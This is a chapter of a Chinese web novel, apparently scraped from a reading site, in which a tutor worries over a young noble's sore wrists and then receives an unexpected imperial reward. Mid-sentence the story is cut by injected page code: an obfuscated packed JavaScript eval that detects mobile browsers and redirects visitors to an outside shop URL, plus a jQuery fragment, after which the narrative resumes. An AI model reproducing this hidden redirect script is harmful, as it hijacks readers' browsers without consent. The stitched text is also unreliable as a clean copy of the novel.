15.第 15 章
作品:《跑路失败就成亲》 尚书府。
孟翎正准备出门,迎面撞上火急火燎赶来的杨义昌。
少年诧异道:“老师何故如此焦急?”
“找你。”杨义昌道。
“我?”孟翎越发不解。
杨义昌也不绕弯,直接问:“早上我忘了问,你那么用功写字,手部、腰部可有不适?”
孟翎老实道:“确实有点酸痛发麻……”
还真有!
杨义昌大惊失色:“在府里等着,我这就去找大夫。”
“等等!”孟翎眼疾手快拦下,“找大夫做什么?”
“帮你推拿,如此会好受些。”杨义昌说。
孟翎失笑:“这才两日便要大夫推拿,今后可怎么办。多谢老师关心,不必了。”
“你说得对,”杨义昌思索道,“这样吧,从明日起,我每次教习的内容减半,你的功课也减半,慢慢来,也好减轻你的负担。”
孟翎:“啊?”
杨义昌问:“翎少爷意下如何?”
孟翎思索片刻。
他环顾四周,屏退左右下人,问杨义昌:“五爷怎么你了?”
杨义昌:“……”
孟翎托着下巴,沉吟道:“脸都吓白了,你被五爷训了一顿么?因为我,还是因为老师从我书箱中拿走的那几张废字帖?”
杨义昌:“…………”
当今圣上在皇子中行五,唤一声五爷并无差错。
杨义昌微微睁大眼睛,问:“你知道五爷?”
孟翎颔首:“路生同我说了。”
“那你可知道五爷是……?”杨义昌欲言又止。
孟翎摇头,“我不知他的具体身份,老师,你能告诉我吗?”
“若是五爷想告诉你,你自然会知晓。但若是他无意,我便不能说。”杨义昌拒绝了。
“好神秘呀,他是什么大人物么?”孟翎问。
那可是天子。
杨义昌高深莫测地“嗯”一声。
“普通富商应当没那么多忌讳,是当官还是王爵?比我爹的官还大么。”
杨义昌:“不可说。”
“好罢,我不问了。那五爷交代了什么,这个总能说吧。”孟翎笑问。
大家都知情——孟翎一知半解勉强也算——说话做事都方便许多。
杨义昌不瞒他:“五爷不满我让你太劳累了,他还忧心你因写字太多而手腕酸痛。”
孟翎一怔。
不过是轻微不适,孟翎自认为可以忍受。他没有喊苦喊累,而是遮掩着,连朝夕相处的路生都没有发现。
谁都没有想到的事,五爷却仅靠着几张字帖,就推测出来他的状况。
“五爷……的确待我很好。”孟翎感慨。
杨义昌苦笑道:“翎少爷,你的占卜似乎不准。我并未因此得到赏赐,反而险些被降罪。”
“不可能。”孟翎条件反射地反驳,“我的卜算从不失误,有十成十的把握确保它会成真。”
“你再等等呢?再说了,贵人又不是只有五爷,兴许是旁人。”
天下还有谁比天子更尊贵?
杨义昌不抱期待,只说:“你身体不适,我得去找大夫。翎少爷稍等。”
“可我现在要出门。”孟翎不太乐意,“老师,我不过是悬腕太久而手臂微微酸胀,不至于要叫大夫。大夫一来,我又得喝药。”
上回,那位高院判说他体虚,到现在,每餐结束,路生都会拿碗补药过来给他喝。
谢天谢地,补药的味道不算很过分。
但下一次就不一定有好运气了。
孟翎求情道:“老师替我去跟五爷说说,我不需要大夫。”
杨义昌摇摇头:“那位爷的主意,我可劝不动,也不敢劝。”
“可我真的没事。”
“没骗我?”
孟翎指指自己:“你看我,多么天真善良,像是会撒谎的人么?”
杨义昌诚恳点头。
孟翎:“……”
杨义昌道:“而且像那种把人家底骗空,别人还反过来向你道谢的类型。”
孟翎:“…………”
孟翎恼羞成怒,脱口而出:“当心我向五爷告状!”
话音落下,有刹那寂静。
杨义昌神情复杂:“你怎知五爷一定站在你这边?”
“随口猜的,傻瓜才当真。”孟翎冷静道。
“我当真了。”杨义昌说。
“说明你是傻瓜!”孟翎犀利地说。
“……”杨义昌哽住,“你真是,有恃无恐。”
道路边上,路生站在马车边,久等不到少爷,终是耐不住寻了过来。
“少爷,车马已备好,不走吗?”路生疑惑地问。
孟翎如蒙大赦。
“这就来!”
“总之,老师,多谢你们的关心,我没脆弱到写个字还需要大夫的地步!我出门了!”
少年转身就跑,一步跳下尚书府门前的台阶,活泼得像个捉不住的兔子,还带着点落荒而逃的好笑。
杨义昌试图跟上,在他身后大喊:“你去哪儿?要我跟你一起么?!”
“不要!”少年头也不回地说,“我出门玩耍,不能带长辈!”
杨义昌的脚步顿住。
年轻人贪玩,若老师在身旁,会不自在。
马车驶远了。
杨义昌摇摇头,坐上自己的马车回了家。
到家后。
家奴迎上来,面带惶恐紧张:“老爷,您可算回来了!”
杨义昌问:“何事?”
家奴低声道:“宫里来人了,正在厅内等您。”
杨义昌吃惊,一边加快脚步,一边问:“怎不去尚书府知会我一声?!”
“徐公公不让。”家奴说。
杨义昌走进花厅,花厅内有几人或站或坐,为了低调不引人注目,都是身着便服。
杨夫人正挺着孕肚陪坐聊天,见丈夫回来,亦是松了口气。
“夫君。”
“有劳夫人。”
杨义昌转头,对坐着的太监不卑不亢地作了一揖:“徐公公久等。”
“无妨。”徐福安笑道:“杨先生莫紧张,咱家是来送赏的。”
“嗯?”杨义昌拧眉。
徐福安偏了偏头,身后跟着的一个小太监立刻上前两步,恭恭敬敬地捧上赏赐。
掀开盖着的绸布,内里是亮晃晃的金银珠宝。
徐福
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948376|192777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安:“圣上口谕,杨先生教书有方,当赏。”
杨义昌:“!!”
杨义昌惊呆了。
前脚刚说孟翎算命不准,后脚就有赏?
要不是知道徐福安在家等了有一会儿,他会以为是皇帝听见了孟翎跟他对话,特意派人来为孟翎当托。
“杨先生?”徐福安提醒,“该谢恩了。”
杨义昌当即对着皇宫的方向跪地谢恩,杨夫人自然也要跟着跪,但徐福安把她拦住了。
“杨夫人有孕在身,圣上交代过,免跪。”
“谢陛下隆恩。”杨夫人确实行动不便,就没有坚持。
等众人起身,徐福安从袖中拿出一盒药膏,递给杨义昌,小声问他:“你方才去尚书府,翎少爷可好?”
杨义昌就知道他要问,没敢遮掩,一字一句如实答了,连孟翎已经知道“五爷”的事也一并说了。
徐福安颔首,又说:
“此乃圣上赠予小少爷的药膏,搽在手腕腰背处,用力揉开,可缓解不适,你代为转交。”
“是。”杨义昌应道。
徐福安送完赏,又交代完,便要回宫了。
他本就不能出宫太久,若非考虑到杨义昌是在忙孟翎的事,想必回宫迟了,圣上也不会怪罪,徐福安也不会等到现在。
杨义昌亲自送他出府,压低声音试探道:
“徐公公,我以为圣上不降罪于我,已是万幸。怎会有赏?”
徐福安笑道:“圣上向来赏罚分明。翎少爷在学业上的长进,以及您待小少爷的真心,圣上都看在眼里。”
“请公公明示。”杨义昌说。
徐福安委婉道:“圣上也觉得服侍翎少爷的人,确实少了些。”
杨义昌懂了,原来是因为他帮孟翎在孟尚书面前讨要下人。
“公公恕罪,容我多一句嘴。”杨义昌困惑道,“圣上如此重视翎少爷,何不将他带离尚书府?即便不能进宫,养在皇庄也是好的。”
“翎少爷毕竟是孟府的大公子,便是皇帝,也不好夺人子。”
徐福安似乎知道点内情,迟疑片刻,含含糊糊地提点:“两年前,阎夫人过世那会儿,京城可不太平。”
“略有耳闻。可是藩王党羽……”
“先生慎言,你心中有数便好。”徐福安道,“陛下要肃清朝野,此时,若是翎少爷在陛下心中的特殊性暴露人前,无异于活靶子。”
“那,现在——”
“朝廷安定,百姓祥和,翎少爷也康复了,大喜呀。”徐福安笑眯眯地说。
杨义昌附和着,送别徐福安。
等人走远,他才摇了摇头。
杨义昌不知顾时渊与孟翎的祖父之间的关系,因此再怎么胡乱猜想,也想不出,为何一个皇帝会对一个痴儿生出责任心。但他能揣测到几分皇帝的想法。
藩王和一众作乱的党羽都死光了,京城安稳了,顾时渊总算能光明正大地照顾孟翎,但偏偏是这个时候,痴儿忽然康复,并且十分聪慧独立,不再需要他。
杨义昌能想象到顾时渊心中的愧疚。
在孟翎最虚弱、最要人照顾的时候,他却不在。难怪现在哪怕人好了,依旧有求必应,事事以孟翎为先,为他考虑周全。

